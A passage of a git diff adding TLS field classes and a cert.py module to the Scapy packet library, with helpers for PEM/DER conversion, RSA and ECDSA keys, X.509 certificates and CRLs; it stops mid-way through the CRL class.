+                return _tls13_version_filter(adv_v, 0x0301)
+        return x
+
+
+class _TLSLengthField(ShortField):
+    def i2repr(self, pkt, x):
+        s = super(_TLSLengthField, self).i2repr(pkt, x)
+        if pkt.deciphered_len is not None:
+            dx = pkt.deciphered_len
+            ds = super(_TLSLengthField, self).i2repr(pkt, dx)
+            s += "    [deciphered_len= %s]" % ds
+        return s
+
+
+class _TLSIVField(StrField):
+    """
+    As stated in Section 6.2.3.2. RFC 4346, TLS 1.1 implements an explicit IV
+    mechanism. For that reason, the behavior of the field is dependent on the
+    TLS version found in the packet if available or otherwise (on build, if
+    not overloaded, it is provided by the session). The size of the IV and
+    its value are obviously provided by the session. As a side note, for the
+    first packets exchanged by peers, NULL being the default enc alg, it is
+    empty (except if forced to a specific value). Also note that the field is
+    kept empty (unless forced to a specific value) when the cipher is a stream
+    cipher (and NULL is considered a stream cipher).
+    """
+    def i2len(self, pkt, i):
+        if i is not None:
+            return len(i)
+        l = 0
+        cipher_type = pkt.tls_session.rcs.cipher.type
+        if cipher_type == "block":
+            if pkt.tls_session.tls_version >= 0x0302:
+                l = pkt.tls_session.rcs.cipher.block_size
+        elif cipher_type == "aead":
+            l = pkt.tls_session.rcs.cipher.nonce_explicit_len
+        return l
+
+    def i2m(self, pkt, x):
+        return x or b""
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def getfield(self, pkt, s):
+        l = 0
+        cipher_type = pkt.tls_session.rcs.cipher.type
+        if cipher_type == "block":
+            if pkt.tls_session.tls_version >= 0x0302:
+                l = pkt.tls_session.rcs.cipher.block_size
+        elif cipher_type == "aead":
+            l = pkt.tls_session.rcs.cipher.nonce_explicit_len
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def i2repr(self, pkt, x):
+        return repr(self.i2m(pkt, x))
+
+
+class _TLSMACField(StrField):
+    def i2len(self, pkt, i):
+        if i is not None:
+            return len(i)
+        return pkt.tls_session.wcs.mac_len
+
+    def i2m(self, pkt, x):
+        if x is None:
+            return b""
+        return x
+
+    def addfield(self, pkt, s, val):
+        # We add nothing here. This is done in .post_build() if needed.
+        return s
+
+    def getfield(self, pkt, s):
+        if (pkt.tls_session.rcs.cipher.type != "aead" and
+            False in six.itervalues(pkt.tls_session.rcs.cipher.ready)):
+            #XXX Find a more proper way to handle the still-encrypted case
+            return s, b""
+        l = pkt.tls_session.rcs.mac_len
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def i2repr(self, pkt, x):
+        #XXX Provide status when dissection has been performed successfully?
+        return repr(self.i2m(pkt, x))
+
+
+class _TLSPadField(StrField):
+    def i2len(self, pkt, i):
+        if i is not None:
+            return len(i)
+        return 0
+
+    def i2m(self, pkt, x):
+        if x is None:
+            return b""
+        return x
+
+    def addfield(self, pkt, s, val):
+        # We add nothing here. This is done in .post_build() if needed.
+        return s
+
+    def getfield(self, pkt, s):
+        if pkt.tls_session.consider_read_padding():
+            # This should work with SSLv3 and also TLS versions.
+            # Note that we need to retrieve pkt.padlen beforehand,
+            # because it's possible that the padding is followed by some data
+            # from another TLS record (hence the last byte from s would not be
+            # the last byte from the current record padding).
+            l = orb(s[pkt.padlen-1])
+            return s[l:], self.m2i(pkt, s[:l])
+        return s, None
+
+    def i2repr(self, pkt, x):
+        #XXX Provide status when dissection has been performed successfully?
+        return repr(self.i2m(pkt, x))
+
+
+class _TLSPadLenField(ByteField):
+    def addfield(self, pkt, s, val):
+        # We add nothing here. This is done in .post_build() if needed.
+        return s
+
+    def getfield(self, pkt, s):
+        if pkt.tls_session.consider_read_padding():
+            return ByteField.getfield(self, pkt, s)
+        return s, None
+
+
+### SSLv2 fields
+
+class _SSLv2LengthField(_TLSLengthField):
+    def i2repr(self, pkt, x):
+        s = super(_SSLv2LengthField, self).i2repr(pkt, x)
+        if pkt.with_padding:
+            x |= 0x8000
+        #elif pkt.with_escape:      #XXX no complete support for 'escape' yet
+        #   x |= 0x4000
+            s += "    [with padding: %s]" % hex(x)
+        return s
+
+    def getfield(self, pkt, s):
+        msglen = struct.unpack('!H', s[:2])[0]
+        pkt.with_padding = (msglen & 0x8000) == 0
+        if pkt.with_padding:
+            msglen_clean = msglen & 0x3fff
+        else:
+            msglen_clean = msglen & 0x7fff
+        return s[2:], msglen_clean
+
+
+class _SSLv2MACField(_TLSMACField):
+    pass
+
+
+class _SSLv2PadField(_TLSPadField):
+    def getfield(self, pkt, s):
+        if pkt.padlen is not None:
+            l = pkt.padlen
+            return s[l:], self.m2i(pkt, s[:l])
+        return s, None
+
+
+class _SSLv2PadLenField(_TLSPadLenField):
+    def getfield(self, pkt, s):
+        if pkt.with_padding:
+            return ByteField.getfield(self, pkt, s)
+        return s, None
+
diff --git a/scapy/layers/tls/cert.py b/scapy/layers/tls/cert.py
new file mode 100644
index 0000000..acd771a
--- /dev/null
+++ b/scapy/layers/tls/cert.py
@@ -0,0 +1,1004 @@
+## This file is part of Scapy
+## Copyright (C) 2008 Arnaud Ebalard <arnaud.ebalard@eads.net>
+##                                   <arno@natisbad.org>
+##   2015, 2016, 2017 Maxence Tury   <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+High-level methods for PKI objects (X.509 certificates, CRLs, asymmetric keys).
+Supports both RSA and ECDSA objects.
+
+The classes below are wrappers for the ASN.1 objects defined in x509.py.
+By collecting their attributes, we bypass the ASN.1 structure, hence
+there is no direct method for exporting a new full DER-encoded version
+of a Cert instance after its serial has been modified (for example).
+If you need to modify an import, just use the corresponding ASN1_Packet.
+
+For instance, here is what you could do in order to modify the serial of
+'cert' and then resign it with whatever 'key':
+    f = open('cert.der')
+    c = X509_Cert(f.read())
+    c.tbsCertificate.serialNumber = 0x4B1D
+    k = PrivKey('key.pem')
+    new_x509_cert = k.resignCert(c)
+No need for obnoxious openssl tweaking anymore. :)
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import base64
+import os
+import time
+
+from scapy.config import conf, crypto_validator
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives import serialization
+    from cryptography.hazmat.primitives.asymmetric import rsa
+
+from scapy.error import warning
+from scapy.utils import binrepr
+from scapy.asn1.asn1 import ASN1_BIT_STRING
+from scapy.asn1.mib import hash_by_oid
+from scapy.layers.x509 import (X509_SubjectPublicKeyInfo,
+                               RSAPublicKey, RSAPrivateKey,
+                               ECDSAPublicKey, ECDSAPrivateKey,
+                               RSAPrivateKey_OpenSSL, ECDSAPrivateKey_OpenSSL,
+                               X509_Cert, X509_CRL)
+from scapy.layers.tls.crypto.pkcs1 import (pkcs_os2ip, pkcs_i2osp, _get_hash,
+                                           _EncryptAndVerifyRSA,
+                                           _DecryptAndSignRSA)
+
+from scapy.compat import *
+
+# Maximum allowed size in bytes for a certificate file, to avoid
+# loading huge file when importing a cert
+_MAX_KEY_SIZE = 50*1024
+_MAX_CERT_SIZE = 50*1024
+_MAX_CRL_SIZE = 10*1024*1024   # some are that big
+
+
+#####################################################################
+# Some helpers
+#####################################################################
+
+@conf.commands.register
+def der2pem(der_string, obj="UNKNOWN"):
+    """Convert DER octet string to PEM format (with optional header)"""
+    # Encode a byte string in PEM format. Header advertizes <obj> type.
+    pem_string = ("-----BEGIN %s-----\n" % obj).encode()
+    base64_string = base64.b64encode(der_string)
+    chunks = [base64_string[i:i+64] for i in range(0, len(base64_string), 64)]
+    pem_string += b'\n'.join(chunks)
+    pem_string += ("\n-----END %s-----\n" % obj).encode()
+    return pem_string
+
+@conf.commands.register
+def pem2der(pem_string):
+    """Convert PEM string to DER format"""
+    # Encode all lines between the first '-----\n' and the 2nd-to-last '-----'.
+    pem_string = pem_string.replace(b"\r", b"")
+    first_idx = pem_string.find(b"-----\n") + 6
+    if pem_string.find(b"-----BEGIN", first_idx) != -1:
+        raise Exception("pem2der() expects only one PEM-encoded object")
+    last_idx = pem_string.rfind(b"-----", 0, pem_string.rfind(b"-----"))
+    base64_string = pem_string[first_idx:last_idx]
+    base64_string.replace(b"\n", b"")
+    der_string = base64.b64decode(base64_string)
+    return der_string
+
+def split_pem(s):
+    """
+    Split PEM objects. Useful to process concatenated certificates.
+    """
+    pem_strings = []
+    while s != b"":
+        start_idx = s.find(b"-----BEGIN")
+        if start_idx == -1:
+            break
+        end_idx = s.find(b"-----END")
+        end_idx = s.find(b"\n", end_idx) + 1
+        pem_strings.append(s[start_idx:end_idx])
+        s = s[end_idx:]
+    return pem_strings
+
+
+class _PKIObj(object):
+    def __init__(self, frmt, der, pem):
+        # Note that changing attributes of the _PKIObj does not update these
+        # values (e.g. modifying k.modulus does not change k.der).
+        #XXX use __setattr__ for this
+        self.frmt = frmt
+        self.der = der
+        self.pem = pem
+
+    def __str__(self):
+        return self.der
+
+
+class _PKIObjMaker(type):
+    def __call__(cls, obj_path, obj_max_size, pem_marker=None):
+        # This enables transparent DER and PEM-encoded data imports.
+        # Note that when importing a PEM file with multiple objects (like ECDSA
+        # private keys output by openssl), it will concatenate every object in
+        # order to create a 'der' attribute. When converting a 'multi' DER file
+        # into a PEM file, though, the PEM attribute will not be valid,
+        # because we do not try to identify the class of each object.
+        error_msg = "Unable to import data"
+
+        if obj_path is None:
+            raise Exception(error_msg)
+        obj_path = raw(obj_path)
+
+        if (not b'\x00' in obj_path) and os.path.isfile(obj_path):
+            _size = os.path.getsize(obj_path)
+            if _size > obj_max_size:
+                raise Exception(error_msg)
+            try:
+                f = open(obj_path, "rb")
+                _raw = f.read()
+                f.close()
+            except:
+                raise Exception(error_msg)
+        else:
+            _raw = obj_path
+
+        try:
+            if b"-----BEGIN" in _raw:
+                frmt = "PEM"
+                pem = _raw
+                der_list = split_pem(_raw)
+                der = b''.join(map(pem2der, der_list))
+            else:
+                frmt = "DER"
+                der = _raw
+                pem = ""
+                if pem_marker is not None:
+                    pem = der2pem(_raw, pem_marker)
+                # type identification may be needed for pem_marker
+                # in such case, the pem attribute has to be updated
+        except:
+            raise Exception(error_msg)
+
+        p = _PKIObj(frmt, der, pem)
+        return p
+
+
+#####################################################################
+# PKI objects wrappers
+#####################################################################
+
+###############
+# Public Keys #
+###############
+
+class _PubKeyFactory(_PKIObjMaker):
+    """
+    Metaclass for PubKey creation.
+    It casts the appropriate class on the fly, then fills in
+    the appropriate attributes with import_from_asn1pkt() submethod.
+    """
+    def __call__(cls, key_path=None):
+
+        if key_path is None:
+            obj = type.__call__(cls)
+            if cls is PubKey:
+                cls = PubKeyRSA
+            obj.__class__ = cls
+            obj.frmt = "original"
+            obj.fill_and_store()
+            return obj
+
+        # This deals with the rare RSA 'kx export' call.
+        if isinstance(key_path, tuple):
+            obj = type.__call__(cls)
+            obj.__class__ = PubKeyRSA
+            obj.frmt = "tuple"
+            obj.import_from_tuple(key_path)
+            return obj
+
+        # Now for the usual calls, key_path may be the path to either:
+        # _an X509_SubjectPublicKeyInfo, as processed by openssl;
+        # _an RSAPublicKey;
+        # _an ECDSAPublicKey.
+        obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE)
+        try:
+            spki = X509_SubjectPublicKeyInfo(obj.der)
+            pubkey = spki.subjectPublicKey
+            if isinstance(pubkey, RSAPublicKey):
+                obj.__class__ = PubKeyRSA
+                obj.import_from_asn1pkt(pubkey)
+            elif isinstance(pubkey, ECDSAPublicKey):
+                obj.__class__ = PubKeyECDSA
+                try:
+                    obj.import_from_der(obj.der)
+                except ImportError:
+                    pass
+            else:
+                raise
+            marker = b"PUBLIC KEY"
+        except:
+            try:
+                pubkey = RSAPublicKey(obj.der)
+                obj.__class__ = PubKeyRSA
+                obj.import_from_asn1pkt(pubkey)
+                marker = b"RSA PUBLIC KEY"
+            except:
+                # We cannot import an ECDSA public key without curve knowledge
+                raise Exception("Unable to import public key")
+
+        if obj.frmt == "DER":
+            obj.pem = der2pem(obj.der, marker)
+        return obj
+
+
+class PubKey(six.with_metaclass(_PubKeyFactory, object)):
+    """
+    Parent class for both PubKeyRSA and PubKeyECDSA.
+    Provides a common verifyCert() method.
+    """
+
+    def verifyCert(self, cert):
+        """ Verifies either a Cert or an X509_Cert. """
+        tbsCert = cert.tbsCertificate
+        sigAlg = tbsCert.signature
+        h = hash_by_oid[sigAlg.algorithm.val]
+        sigVal = raw(cert.signatureValue)
+        return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs')
+
+
+class PubKeyRSA(PubKey, _EncryptAndVerifyRSA):
+    """
+    Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py
+    Use the 'key' attribute to access original object.
+    """
+    @crypto_validator
+    def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None):
+        pubExp = pubExp or 65537
+        if not modulus:
+            real_modulusLen = modulusLen or 2048
+            private_key = rsa.generate_private_key(public_exponent=pubExp,
+                                                   key_size=real_modulusLen,
+                                                   backend=default_backend())
+            self.pubkey = private_key.public_key()
+        else:
+            real_modulusLen = len(binrepr(modulus))
+            if modulusLen and real_modulusLen != modulusLen:
+                warning("modulus and modulusLen do not match!")
+            pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp)
+            self.pubkey = pubNum.public_key(default_backend())
+        # Lines below are only useful for the legacy part of pkcs1.py
+        pubNum = self.pubkey.public_numbers()
+        self._modulusLen = real_modulusLen
+        self._modulus = pubNum.n
+        self._pubExp = pubNum.e
+
+    @crypto_validator
+    def import_from_tuple(self, tup):
+        # this is rarely used
+        e, m, mLen = tup
+        if isinstance(m, bytes):
+            m = pkcs_os2ip(m)
+        if isinstance(e, bytes):
+            e = pkcs_os2ip(e)
+        self.fill_and_store(modulus=m, pubExp=e)
+        self.pem = self.pubkey.public_bytes(
+                        encoding=serialization.Encoding.PEM,
+                        format=serialization.PublicFormat.SubjectPublicKeyInfo)
+        self.der = pem2der(self.pem)
+
+    def import_from_asn1pkt(self, pubkey):
+        modulus    = pubkey.modulus.val
+        pubExp     = pubkey.publicExponent.val
+        self.fill_and_store(modulus=modulus, pubExp=pubExp)
+
+    def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None):
+        # no ECDSA encryption support, hence no ECDSA specific keywords here
+        return _EncryptAndVerifyRSA.encrypt(self, msg, t, h, mgf, L)
+
+    def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None):
+        return _EncryptAndVerifyRSA.verify(self, msg, sig, t, h, mgf, L)
+
+class PubKeyECDSA(PubKey):
+    """
+    Wrapper for ECDSA keys based on the cryptography library.
+    Use the 'key' attribute to access original object.
+    """
+    @crypto_validator
+    def fill_and_store(self, curve=None):
+        curve = curve or ec.SECP256R1
+        private_key = ec.generate_private_key(curve(), default_backend())
+        self.pubkey = private_key.public_key()
+
+    @crypto_validator
+    def import_from_der(self, pubkey):
+        # No lib support for explicit curves nor compressed points.
+        self.pubkey = serialization.load_der_public_key(pubkey,
+                                                    backend=default_backend())
+
+    def encrypt(self, msg, h="sha256", **kwargs):
+        # cryptography lib does not support ECDSA encryption
+        raise Exception("No ECDSA encryption support")
+
+    @crypto_validator
+    def verify(self, msg, sig, h="sha256", **kwargs):
+        # 'sig' should be a DER-encoded signature, as per RFC 3279
+        verifier = self.pubkey.verifier(sig, ec.ECDSA(_get_hash(h)))
+        verifier.update(msg)
+        return verifier.verify()
+
+
+################
+# Private Keys #
+################
+
+class _PrivKeyFactory(_PKIObjMaker):
+    """
+    Metaclass for PrivKey creation.
+    It casts the appropriate class on the fly, then fills in
+    the appropriate attributes with import_from_asn1pkt() submethod.
+    """
+    def __call__(cls, key_path=None):
+        """
+        key_path may be the path to either:
+            _an RSAPrivateKey_OpenSSL (as generated by openssl);
+            _an ECDSAPrivateKey_OpenSSL (as generated by openssl);
+            _an RSAPrivateKey;
+            _an ECDSAPrivateKey.
+        """
+        if key_path is None:
+            obj = type.__call__(cls)
+            if cls is PrivKey:
+                cls = PrivKeyECDSA
+            obj.__class__ = cls
+            obj.frmt = "original"
+            obj.fill_and_store()
+            return obj
+
+        obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE)
+        multiPEM = False
+        try:
+            privkey = RSAPrivateKey_OpenSSL(obj.der)
+            privkey = privkey.privateKey
+            obj.__class__ = PrivKeyRSA
+            marker = b"PRIVATE KEY"
+        except:
+            try:
+                privkey = ECDSAPrivateKey_OpenSSL(obj.der)
+                privkey = privkey.privateKey
+                obj.__class__ = PrivKeyECDSA
+                marker = b"EC PRIVATE KEY"
+                multiPEM = True
+            except:
+                try:
+                    privkey = RSAPrivateKey(obj.der)
+                    obj.__class__ = PrivKeyRSA
+                    marker = b"RSA PRIVATE KEY"
+                except:
+                    try:
+                        privkey = ECDSAPrivateKey(obj.der)
+                        obj.__class__ = PrivKeyECDSA
+                        marker = b"EC PRIVATE KEY"
+                    except:
+                        raise Exception("Unable to import private key")
+        try:
+            obj.import_from_asn1pkt(privkey)
+        except ImportError:
+            pass
+
+        if obj.frmt == "DER":
+            if multiPEM:
+                # this does not restore the EC PARAMETERS header
+                obj.pem = der2pem(raw(privkey), marker)
+            else:
+                obj.pem = der2pem(obj.der, marker)
+        return obj
+
+
+class PrivKey(six.with_metaclass(_PrivKeyFactory, object)):
+    """
+    Parent class for both PrivKeyRSA and PrivKeyECDSA.
+    Provides common signTBSCert() and resignCert() methods.
+    """
+
+    def signTBSCert(self, tbsCert, h="sha256"):
+        """
+        Note that this will always copy the signature field from the
+        tbsCertificate into the signatureAlgorithm field of the result,
+        regardless of the coherence between its contents (which might
+        indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2).
+
+        There is a small inheritance trick for the computation of sigVal
+        below: in order to use a sign() method which would apply
+        to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the
+        subclasses accept any argument, be it from the RSA or ECDSA world,
+        and then they keep the ones they're interested in.
+        Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign().
+        """
+        sigAlg = tbsCert.signature
+        h = h or hash_by_oid[sigAlg.algorithm.val]
+        sigVal = self.sign(raw(tbsCert), h=h, t='pkcs')
+        c = X509_Cert()
+        c.tbsCertificate = tbsCert
+        c.signatureAlgorithm = sigAlg
+        c.signatureValue = ASN1_BIT_STRING(sigVal, readable=True)
+        return c
+
+    def resignCert(self, cert):
+        """ Rewrite the signature of either a Cert or an X509_Cert. """
+        return self.signTBSCert(cert.tbsCertificate)
+
+    def verifyCert(self, cert):
+        """ Verifies either a Cert or an X509_Cert. """
+        tbsCert = cert.tbsCertificate
+        sigAlg = tbsCert.signature
+        h = hash_by_oid[sigAlg.algorithm.val]
+        sigVal = raw(cert.signatureValue)
+        return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs')
+
+
+class PrivKeyRSA(PrivKey, _EncryptAndVerifyRSA, _DecryptAndSignRSA):
+    """
+    Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py
+    Use the 'key' attribute to access original object.
+    """
+    @crypto_validator
+    def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None,
+                             prime1=None, prime2=None, coefficient=None,
+                             exponent1=None, exponent2=None, privExp=None):
+        pubExp = pubExp or 65537
+        if None in [modulus, prime1, prime2, coefficient, privExp,
+                    exponent1, exponent2]:
+            # note that the library requires every parameter
+            # in order to call RSAPrivateNumbers(...)
+            # if one of these is missing, we generate a whole new key
+            real_modulusLen = modulusLen or 2048
+            self.key = rsa.generate_private_key(public_exponent=pubExp,
+                                                key_size=real_modulusLen,
+                                                backend=default_backend())
+            self.pubkey = self.key.public_key()
+        else:
+            real_modulusLen = len(binrepr(modulus))
+            if modulusLen and real_modulusLen != modulusLen:
+                warning("modulus and modulusLen do not match!")
+            pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp)
+            privNum = rsa.RSAPrivateNumbers(p=prime1, q=prime2,
+                                            dmp1=exponent1, dmq1=exponent2,
+                                            iqmp=coefficient, d=privExp,
+                                            public_numbers=pubNum)
+            self.key = privNum.private_key(default_backend())
+            self.pubkey = self.key.public_key()
+
+        # Lines below are only useful for the legacy part of pkcs1.py
+        pubNum = self.pubkey.public_numbers()
+        self._modulusLen = real_modulusLen
+        self._modulus = pubNum.n
+        self._pubExp = pubNum.e
+
+    def import_from_asn1pkt(self, privkey):
+        modulus     = privkey.modulus.val
+        pubExp      = privkey.publicExponent.val
+        privExp     = privkey.privateExponent.val
+        prime1      = privkey.prime1.val
+        prime2      = privkey.prime2.val
+        exponent1   = privkey.exponent1.val
+        exponent2   = privkey.exponent2.val
+        coefficient = privkey.coefficient.val
+        self.fill_and_store(modulus=modulus, pubExp=pubExp,
+                            privExp=privExp, prime1=prime1, prime2=prime2,
+                            exponent1=exponent1, exponent2=exponent2,
+                            coefficient=coefficient)
+
+    def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None):
+        # Let's copy this from PubKeyRSA instead of adding another baseclass :)
+        return _EncryptAndVerifyRSA.verify(self, msg, sig, t, h, mgf, L)
+
+    def sign(self, data, t="pkcs", h="sha256", mgf=None, L=None):
+        return _DecryptAndSignRSA.sign(self, data, t, h, mgf, L)
+
+
+class PrivKeyECDSA(PrivKey):
+    """
+    Wrapper for ECDSA keys based on SigningKey from ecdsa library.
+    Use the 'key' attribute to access original object.
+    """
+    @crypto_validator
+    def fill_and_store(self, curve=None):
+        curve = curve or ec.SECP256R1
+        self.key = ec.generate_private_key(curve(), default_backend())
+        self.pubkey = self.key.public_key()
+
+    @crypto_validator
+    def import_from_asn1pkt(self, privkey):
+        self.key = serialization.load_der_private_key(raw(privkey), None,
+                                                  backend=default_backend())
+        self.pubkey = self.key.public_key()
+
+    @crypto_validator
+    def verify(self, msg, sig, h="sha256", **kwargs):
+        # 'sig' should be a DER-encoded signature, as per RFC 3279
+        verifier = self.pubkey.verifier(sig, ec.ECDSA(_get_hash(h)))
+        verifier.update(msg)
+        return verifier.verify()
+
+    @crypto_validator
+    def sign(self, data, h="sha256", **kwargs):
+        signer = self.key.signer(ec.ECDSA(_get_hash(h)))
+        signer.update(data)
+        return signer.finalize()
+
+
+################
+# Certificates #
+################
+
+class _CertMaker(_PKIObjMaker):
+    """
+    Metaclass for Cert creation. It is not necessary as it was for the keys,
+    but we reuse the model instead of creating redundant constructors.
+    """
+    def __call__(cls, cert_path):
+        obj = _PKIObjMaker.__call__(cls, cert_path,
+                                    _MAX_CERT_SIZE, "CERTIFICATE")
+        obj.__class__ = Cert
+        try:
+            cert = X509_Cert(obj.der)
+        except:
+            raise Exception("Unable to import certificate")
+        obj.import_from_asn1pkt(cert)
+        return obj
+
+
+class Cert(six.with_metaclass(_CertMaker, object)):
+    """
+    Wrapper for the X509_Cert from layers/x509.py.
+    Use the 'x509Cert' attribute to access original object.
+    """
+
+    def import_from_asn1pkt(self, cert):
+        error_msg = "Unable to import certificate"
+
+        self.x509Cert = cert
+
+        tbsCert = cert.tbsCertificate
+        self.tbsCertificate = tbsCert
+
+        if tbsCert.version:
+            self.version = tbsCert.version.val + 1
+        else:
+            self.version = 1
+        self.serial = tbsCert.serialNumber.val
+        self.sigAlg = tbsCert.signature.algorithm.oidname
+        self.issuer = tbsCert.get_issuer()
+        self.issuer_str = tbsCert.get_issuer_str()
+        self.issuer_hash = hash(self.issuer_str)
+        self.subject = tbsCert.get_subject()
+        self.subject_str = tbsCert.get_subject_str()
+        self.subject_hash = hash(self.subject_str)
+
+        self.notBefore_str = tbsCert.validity.not_before.pretty_time
+        notBefore = tbsCert.validity.not_before.val
+        if notBefore[-1] == "Z":
+            notBefore = notBefore[:-1]
+        try:
+            self.notBefore = time.strptime(notBefore, "%y%m%d%H%M%S")
+        except:
+            raise Exception(error_msg)
+        self.notBefore_str_simple = time.strftime("%x", self.notBefore)
+
+        self.notAfter_str = tbsCert.validity.not_after.pretty_time
+        notAfter = tbsCert.validity.not_after.val
+        if notAfter[-1] == "Z":
+            notAfter = notAfter[:-1]
+        try:
+            self.notAfter = time.strptime(notAfter, "%y%m%d%H%M%S")
+        except:
+            raise Exception(error_msg)
+        self.notAfter_str_simple = time.strftime("%x", self.notAfter)
+
+        self.pubKey = PubKey(raw(tbsCert.subjectPublicKeyInfo))
+
+        if tbsCert.extensions:
+            for extn in tbsCert.extensions:
+                if extn.extnID.oidname == "basicConstraints":
+                    self.cA = False
+                    if extn.extnValue.cA:
+                        self.cA = not (extn.extnValue.cA.val == 0)
+                elif extn.extnID.oidname == "keyUsage":
+                    self.keyUsage = extn.extnValue.get_keyUsage()
+                elif extn.extnID.oidname == "extKeyUsage":
+                    self.extKeyUsage = extn.extnValue.get_extendedKeyUsage()
+                elif extn.extnID.oidname == "authorityKeyIdentifier":
+                    self.authorityKeyID = extn.extnValue.keyIdentifier.val
+
+        self.signatureValue = raw(cert.signatureValue)
+        self.signatureLen = len(self.signatureValue)
+
+    def isIssuerCert(self, other):
+        """
+        True if 'other' issued 'self', i.e.:
+          - self.issuer == other.subject
+          - self is signed by other
+        """
+        if self.issuer_hash != other.subject_hash:
+            return False
+        return other.pubKey.verifyCert(self)
+
+    def isSelfSigned(self):
+        """
+        Return True if the certificate is self-signed:
+          - issuer and subject are the same
+          - the signature of the certificate is valid.
+        """
+        if self.issuer_hash == self.subject_hash:
+            return self.isIssuerCert(self)
+        return False
+
+    def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None):
+        # no ECDSA *encryption* support, hence only RSA specific keywords here
+        return self.pubKey.encrypt(msg, t, h, mgf, L)
+
+    def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None):
+        return self.pubKey.verify(msg, sig, t, h, mgf, L)
+
+    def remainingDays(self, now=None):
+        """
+        Based on the value of notAfter field, returns the number of
+        days the certificate will still be valid. The date used for the
+        comparison is the current and local date, as returned by
+        time.localtime(), except if 'now' argument is provided another
+        one. 'now' argument can be given as either a time tuple or a string
+        representing the date. Accepted format for the string version
+        are:
+
+         - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT'
+         - '%m/%d/%y' e.g. '01/30/08' (less precise)
+
+        If the certificate is no more valid at the date considered, then
+        a negative value is returned representing the number of days
+        since it has expired.
+
+        The number of days is returned as a float to deal with the unlikely
+        case of certificates that are still just valid.
+        """
+        if now is None:
+            now = time.localtime()
+        elif isinstance(now, str):
+            try:
+                if '/' in now:
+                    now = time.strptime(now, '%m/%d/%y')
+                else:
+                    now = time.strptime(now, '%b %d %H:%M:%S %Y %Z')
+            except:
+                warning("Bad time string provided, will use localtime() instead.")
+                now = time.localtime()
+
+        now = time.mktime(now)
+        nft = time.mktime(self.notAfter)
+        diff = (nft - now)/(24.*3600)
+        return diff
+
+    def isRevoked(self, crl_list):
+        """
+        Given a list of trusted CRL (their signature has already been
+        verified with trusted anchors), this function returns True if
+        the certificate is marked as revoked by one of those CRL.
+
+        Note that if the Certificate was on hold in a previous CRL and
+        is now valid again in a new CRL and bot are in the list, it
+        will be considered revoked: this is because _all_ CRLs are
+        checked (not only the freshest) and revocation status is not
+        handled.
+
+        Also note that the check on the issuer is performed on the
+        Authority Key Identifier if available in _both_ the CRL and the
+        Cert. Otherwise, the issuers are simply compared.
+        """
+        for c in crl_list:
+            if (self.authorityKeyID is not None and
+                c.authorityKeyID is not None and
+                self.authorityKeyID == c.authorityKeyID):
+                return self.serial in (x[0] for x in c.revoked_cert_serials)
+            elif self.issuer == c.issuer:
+                return self.serial in (x[0] for x in c.revoked_cert_serials)
+        return False
+
+    def export(self, filename, fmt="DER"):
+        """
+        Export certificate in 'fmt' format (DER or PEM) to file 'filename'
+        """
+        f = open(filename, "wb")
+        if fmt == "DER":
+            f.write(self.der)
+        elif fmt == "PEM":
+            f.write(self.pem)
+        f.close()
+
+    def show(self):
+        print("Serial: %s" % self.serial)
+        print("Issuer: " + self.issuer_str)
+        print("Subject: " + self.subject_str)
+        print("Validity: %s to %s" % (self.notBefore_str, self.notAfter_str))
+
+    def __repr__(self):
+        return "[X.509 Cert. Subject:%s, Issuer:%s]" % (self.subject_str, self.issuer_str)
+
+
+################################
+# Certificate Revocation Lists #
+################################
+
+class _CRLMaker(_PKIObjMaker):
+    """
+    Metaclass for CRL creation. It is not necessary as it was for the keys,
+    but we reuse the model instead of creating redundant constructors.
+    """
+    def __call__(cls, cert_path):
+        obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CRL_SIZE, "X509 CRL")
+        obj.__class__ = CRL
+        try:
+            crl = X509_CRL(obj.der)
+        except:
+            raise Exception("Unable to import CRL")
+        obj.import_from_asn1pkt(crl)
+        return obj
+
+
+class CRL(six.with_metaclass(_CRLMaker, object)):
+    """
+    Wrapper for the X509_CRL from layers/x509.py.
+    Use the 'x509CRL' attribute to access original object.
+    """
+
+    def import_from_asn1pkt(self, crl):
+        error_msg = "Unable to import CRL"
+
+        self.x509CRL = crl
+
+        tbsCertList = crl.tbsCertList
+        self.tbsCertList = raw(tbsCertList)
+
+        if tbsCertList.version:
+            self.version = tbsCertList.version.val + 1
+        else:
+            self.version = 1
+        self.sigAlg = tbsCertList.signature.algorithm.oidname
+        self.issuer = tbsCertList.get_issuer()
+        self.issuer_str = tbsCertList.get_issuer_str()
+        self.issuer_hash = hash(self.issuer_str)
+
+        self.lastUpdate_str = tbsCertList.this_update.pretty_time
+        lastUpdate = tbsCertList.this_update.val
+        if lastUpdate[-1] == "Z":
+            lastUpdate = lastUpdate[:-1]
+        try:
+            self.lastUpdate = time.strptime(lastUpdate, "%y%m%d%H%M%S")
+        except:
+            raise Exception(error_msg)
+        self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate)
+
+        self.nextUpdate = None
+        self.nextUpdate_str_simple = None
+        if tbsCertList.next_update:
+            self.nextUpdate_str = tbsCertList.next_update.pretty_time
+            nextUpdate = tbsCertList.next_update.val
